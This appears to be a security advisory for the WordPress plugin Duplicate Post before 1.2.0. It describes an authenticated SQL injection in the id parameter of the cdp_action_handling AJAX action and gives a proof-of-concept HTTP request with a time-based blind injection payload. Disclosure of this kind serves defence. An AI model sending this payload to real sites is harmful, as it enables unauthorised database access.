Duplicate Post < 1.2.0 - Authenticated SQL Injection

The plugin does not properly sanitise and escape the id parameter passed to the cdp_action_handling AJAX action, which could allow user having access to the plugin (by default admins) to perform SQL Injection attacks

PoC

POST /wp-admin/admin-ajax.php HTTP/1.1 Content-Length: 229 Accept: / X-Requested-With: XMLHttpRequest Content-Type: application/x-www-form-urlencoded; charset=UTF-8 Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9 Cookie: wordpress_3d2361ff3a8f0d…(truncated) Connection: close action=cdp_action_handling&token;=cdp&f;=copy_post&origin;=tooltip&id;%5B%5D=1%20and%20(select*from(select(sleep(9)))a)–%20&data;%5Btype%5D=copy-quick&data;%5Btimes%5D=1&data;%5Bsite%5D=-1&data;%5Bprofile%5D=default&data;%5Bswap%5D=false